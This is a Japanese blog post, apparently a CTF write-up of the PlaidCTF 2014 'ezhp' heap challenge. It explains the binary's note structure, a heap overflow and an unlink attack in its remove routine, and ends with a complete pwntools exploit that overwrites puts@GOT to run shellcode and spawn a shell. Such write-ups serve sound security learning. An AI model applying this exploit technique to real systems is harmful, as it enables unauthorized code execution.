読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

PlaidCTF 2014 ezhp

pwn list pwn list easy

私は今までheap問題のpwnを解いてこなかったが、今回はこれが初めてのheap問題だった。私の中でheap問題はかなりrevで気合を入れないと脆弱性が見えてこないことが分かった。「heap問題の脆弱性は大体はfree関係の脆弱性が多いよなぁ」という考えがなかったら、いつまでたっても脆弱性が見つからなかったかもしれない。
では、さっそく見てみよう!今回の問題は32bit-ELFでxinetd型だった。ではさっそくセキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

特に何も対策をされていないようだった。ふむ、さっそく実行してみようかな。

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

note系の問題であることが分かった。それぞれがどういった動きをするのか実際に動かしてもよくわからないため、とりあえずデバッグしながら動かしてみたら以下のようなことが分かった。

  • addでユーザが指定したsize分heapを確保する。(id:0からスタート)

  • removeでheapの解放

  • changeで指定したidの確保されたheapのDataにユーザが指定したsize分、ユーザが入力した値を入れる。

  • printで指定したidのDataを表示

  • quitはプログラム終了

さらに、確保されたheapは以下のような構成の構造体だった。

struct chunk{
int size
struct chunk *next
struct chunk *prev
char data[]
}

この構造体自体は実際に3、4個くらいaddで作った後に、確保されたheapのアドレスをデバッグして覗いてみると分かった。dataの部分は可変長になっており、ユーザが指定したsizeに応じて変化する。
次に気になったのはheap overflowができることだ。以下はaddをsizeを4byteにしてheapの中身を見たときの様子である。

gdb-peda$ x/40wx 0x804c00c                   
0x804c00c: id:0   0x00000019 0x0804c024 0x0804c000 0x00000000
0x804c01c: 0x00000000 0x00000000 id:1   0x00000019     0x0804c03c
0x804c02c: 0x0804c00c 0x00000000 0x00000000 0x00000000
0x804c03c: id:2   0x00000019 0x0804c054 0x0804c024 0x00000000
0x804c04c: 0x00000000 0x00000000

どうやら、最低でもsizeは0x19になり、next,prevの4byteずつの後にDataは0xc(12)byte分入るようになっているようだった。(sizeを0x8にしても変わらなかったため)ここのData部分はheap overflowの脆弱性があり、例えば上記のような例であれば、id:0のdata部分からid:1のchunk構造体以下すべての部分を書き換えることができる。(menuのchangeを使って)今回はこの脆弱性を使うのかなと思った。
次に気になったのはところどころに入っていた[eax*4+0x804a060]の部分だ。どうやらこれはeaxレジスタにidの番号(0スタート)を入れてその番号に応じて4byteずつずれて入っているchar data[]のアドレスを格納しているグローバル変数だった。以下のようにid:0から順番に格納されている

gdb-peda$ x/10wx 0x804a060
0x804a060: 0x0804c018 0x0804c030 0x0804c048 0x00000000

便宜上ここではnotes_tableと呼ぶことにする。このnotes_tableはremove, change, printでなんらかのDataに関する処理をする時に使われていた。
さて、ここまで大まかな動きはある程度特定はできた。ここから脆弱性を見ていくためにmenuごとの処理(関数ごとの処理)を詳しくデバッグしながら見ていかなければならないが、闇雲に探すのもさすがに骨が折れるので、あたりをつけることにした。それは「heapってそういえばfree関係の脆弱性が多いよなぁ」である。
この考えをもってfreeする関数であるremoveの処理から見ていくことにした。すると以下のような処理が気になった。

mov     eax, [ebp+data]
sub     eax, 0Ch
mov     [ebp+now], eax  
mov     eax, [ebp+now]  
mov     eax, [eax+8]   
mov     [ebp+prev], eax             now->prev
mov     eax, [ebp+now] 
mov     eax, [eax+4]    
mov     [ebp+next], eax             now->next
cmp     [ebp+prev], 0               もしnow->prevがなかったらjzでcmp     [ebp+next], 0まで飛ぶ 
jz      (cmp     [ebp+next], 0)
mov     eax, [ebp+prev] 
mov     edx, [ebp+next]
mov     [eax+4], edx                now->prev->next = now->next
cmp     [ebp+next], 0
jz      (mov    eax,ds:0x804b060) もしnow->prevがなかったらjzでmov    eax,ds:0x804b060まで飛ぶ 
mov     eax, [ebp+next]
mov     edx, [ebp+prev]
mov     [eax+8], edx                 now->next->prev = now->prev
mov    eax,ds:0x804b060     

どうやら、removeするidを便宜上nowという名前で考えるともし、nowが前のidのポインタ(now->prev)を持っていれば、その前のポインタのnext(now->prev->next)をnow->nextにする。また、nowが次のidのポインタ(now->next)を持っていれば、その次のポインタのprev(now->next->prev)をnow->prevにしてremoveするnowのリンクを外す処理を行う。
言葉ではわかりにくいと思うので以下のような図で考えてみよう。
f:id:shimasyaro:20170307162414p:plain 今回は例をとってid:1をremoveするということを考えてみよう。図のようにremoveされる前はこのようにlinkされて繋がっている。しかし、上記に示した命令の一部が実行されると図が変化する。

cmp     [ebp+prev], 0               もしnow->prevがなかったらjzでcmp     [ebp+next], 0まで飛ぶ 
jz      (cmp     [ebp+next], 0)
mov     eax, [ebp+prev] 
mov     edx, [ebp+next]
mov     [eax+4], edx                now->prev->next = now->next

f:id:shimasyaro:20170306153132p:plain id:0のnextの指している部分が変化したのがわかるだろうか?そう、つまり、id:1を指していたのがid:2に変化したのである。いわゆるunlink処理をおこなったのである。便宜上これを①unlinkとしておこう。この①unlinkはここの図でいうid:1のprevがなければ処理を飛ばすことになる。
そして次に、また、図が変化する処理は、次の命令が実行されたときである。

cmp     [ebp+next], 0
jz      (mov    eax,ds:0x804b060) もしnow->prevがなかったらjzでmov    eax,ds:0x804b060まで飛ぶ 
mov     eax, [ebp+next]
mov     edx, [ebp+prev]
mov     [eax+8], edx                 now->next->prev = now->prev

f:id:shimasyaro:20170306153123p:plain id:2のprevの指している部分が変化したのが分かるだろうか?そう、つまり、id:1を指していたのがid:0に変化したのである。いわゆるunlink処理を行ったのである。便宜上これを②unlinkとしておこう。この②unlinkはここの図でいうid:1のnextがなければ処理を飛ばすことになる。
実はここのunlink処理に脆弱性がある。もし、id:1のprevとnextが任意の値になっていたらどうなっていただろうか?じつは任意の値を指すようになってしまう脆弱性がここにはあるのだ。現在のglibc mallocではチェックするような機構が存在するらしいが、今回の問題ではそのチェック機構は存在していない。この脆弱性を利用した攻撃をunlink attackと呼ぶ。
しかし、私はこの脆弱性を上手く利用できずに、とりあえずwrite-upをみた。すると、とても面白い攻撃の仕方をしていた。攻撃は簡単に示すと以下のようになる。

  1. id:0またはid:1から(今回はid:1からする)heap overflowでid:2のnext=notes_table, prev = notes_table - 4にする。
  2. id:2をremoveし、id:0のdataアドレスをnotes_tableアドレスに書き換える。
  3. id:0のdataがnotes_tableのアドレスであるため、changeで適当なアドレス(notes_table)、puts_gotアドレス(notes_table + 4)、shellcode(notes_table + 8)にする。
  4. id:1のchangeを行いputs_gotアドレスの書き換えを行い、そのアドレスをshellcodeが置かれているnotes_table + 8にする。

    順を追って説明していく。まず、1,2だが、これは単純にnotes_tableに格納されているid:0のdataアドレスをnotes_tableアドレス(0x804a060)に変更したいだけである。具体的には①unlinkで書き換わるようにする。ぶっちゃけ、②unlinkは関係ない。
    次に3だが、changeはdataに格納するときに[eax*4+0x804a060]とやってidごとのdataアドレスをnotes_tableから取り出す。このため、id:0のdataアドレスはid:2のremoveを行ったときにはnotes_tableアドレスに書き換わっていることを利用してid:0, id:1, id:2の順番でnotes_tableに格納されているdataアドレスを書き換える。
    最後の3はid:1のdataアドレスにはputs_gotアドレスが格納されているため、GOT Overwriteでアドレスをid:2のdataアドレスから格納されているshellcodeに飛ぶよう書き換えて、puts関数が実行されると同時にshellcodeが格納されている場所に飛んでshellが起動する。
    あとは、コードを書くだけ、こーどべちょー
#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
#elf = ELF('./ezhp')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./ezhp')
        print "[+] connect to local\n"

def add_note(size):
    conn.recvuntil('Please choose an option.')
    conn.sendline('1')
    conn.recvuntil('Please give me a size.')
    conn.sendline(str(size))

def remove_note(id):
    conn.recvuntil('Please choose an option.')
    conn.sendline('2')
    conn.recvuntil('Please give me an id.')
    conn.sendline(str(id))

def change_note(id, data):
    conn.recvuntil('Please choose an option.')
    conn.sendline('3')
    conn.recvuntil('Please give me an id.')
    conn.sendline(str(id))
    conn.recvuntil('Please give me a size.')
    conn.sendline(str(len(data)))
    conn.recvuntil('Please input your data.')
    conn.send(data)

notes    = 0x804a060 # notes_table
puts_got = 0x804a008
shellcode = asm(shellcraft.sh())

# make notes
add_note(0x04) # id:0
add_note(0x04) # id:1
add_note(0x04) # id:2

# send payload(heap overflow from id:1 data)
# overwrite id:2 next and prev
payload = ''
payload += '\x90' * 0xc    # id:1 data
payload += p32(0x19)       # id:2 size
payload += p32(notes)      # id:2 next
payload += p32(notes - 4)  # id:2 prev
change_note(1, payload)

# unlink attack
# 1. now->prev->next(id:0_data_addr) = now->next(notes_table)
# 2. now->prev->next(id:2_data_addr) = now->prev(notes_table + 4)
remove_note(2)

# rewrite notes_table
# notes_table + 0 = 0xdeadbeef
# notes_table + 4 = got_address
# notes_table + 8 = shellcode
payload = ''
payload += p32(0xdeadbeef)
payload += p32(puts_got)
payload += shellcode
change_note(0, payload)

# GOT overwrite(notes_table + 4 is got_address)
# got_address = notes_table + 8 (shellcode_address)
change_note(1, p32(notes + 8))

conn.interactive()

【総評】heap辛い…辛くない?あと、heapのwrite-up辛い…辛くない?